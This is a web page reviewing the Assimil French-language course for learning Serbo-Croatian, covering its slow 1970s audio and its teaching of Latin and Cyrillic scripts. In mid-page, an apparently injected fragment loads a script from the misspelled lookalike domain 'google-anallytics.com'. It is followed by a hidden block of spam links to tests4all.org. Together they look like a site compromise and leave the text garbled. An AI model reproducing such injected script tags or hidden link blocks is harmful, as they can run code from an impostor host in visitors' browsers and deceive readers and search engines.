Review of ‘Le Serbo-Croate sans peine’
Home > Reviews > Assimil > Serbo-Croatian > Le Serbo-Croate sans peine

Le Serbo-Croate sans peine by Borjanka Jolic and Roger Ludwig
 Published by Assimil in 2004 (first published in 1972)
 Program in French for students of the Serbo-Croatian language
 Beginner level
 Character set: Latin French, Latian Croatian and Serbian Cyrillic
 Average price: $100
 Audio: 4 Audio CDs for a total recorded time of 4 hours 10 minutes
 ISBN: 2-7005-0024-5
 448 pages
 Editorial ratingRating
 Post a user comment

This is a fine example of the 'old' Assimil courses. The book is tightly packed with numerous grammatical and cultural observations that are easy to understand and entertaining to read.

Audio
The audio is interesting but the various speakers they hired back in 1972 pronounce each sentence as a ghastly slowish pace (slow--ish--pa--ce ...). This makes it easy to catch every last nuance for the beginner but can get on your nerves after some time. More importantly, it does not prepare you for the fast flow or regular conversations. Although this is a problem with the program, it is not a huge one.

Regional variations
Serbo-Croat is a language with many 'dialects'. Some are written in Cyrillic, some in Latin script. Assimil did a fine job teachinb both Croatian and Serbian in the same program. The first 49 lessons are written in Latin script. Beginning with lesson 50, all Serbo-Croatian text is written in the beautiful Serbian Cyrillic script. A well-made chapter has the same text written in Croatian and in both cursive (handwritten) and printed Cyrillic so that you can compare them and learn the Cyrillic equivalents for each sound.
'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>working out but never losing weight</a><a href='http://tests4all.org/2/'>what do they do personal trainer</a><a href='http://tests4all.org/3/'>ct quit smoking program</a><a href='http://tests4all.org/4/'>accutane cordarone in the eyes</a><a href='http://tests4all.org/5/'>borderline personality disorder wife cheated</a><a href='http://tests4all.org/6/'>mtdna australia pleistocene occupation</a><a href='http://tests4all.org/7/'>community partner thank you notes</a><a href='http://tests4all.org/8/'>iq test controversy</a><a href='http://tests4all.org/9/'>honing your psychic ability</a><a href='http://tests4all.org/10/'>past life regression dennis linn</a><a href='http://tests4all.org/11/'>date menes death</a><a href='http://tests4all.org/12/'>lung cancer blueberries</a></div>


Submitted by administrator on 10/6/2005
PICTURES


Front cover


Box front cover


Lesson 57


Box back cover


Back cover


CD case front cover

More pictures...


DHTML Menu By Milonic JavaScript


Copyright 2024 FX Micheloud - All rights reserved
No part of this website may be copied by any means without my written authorization.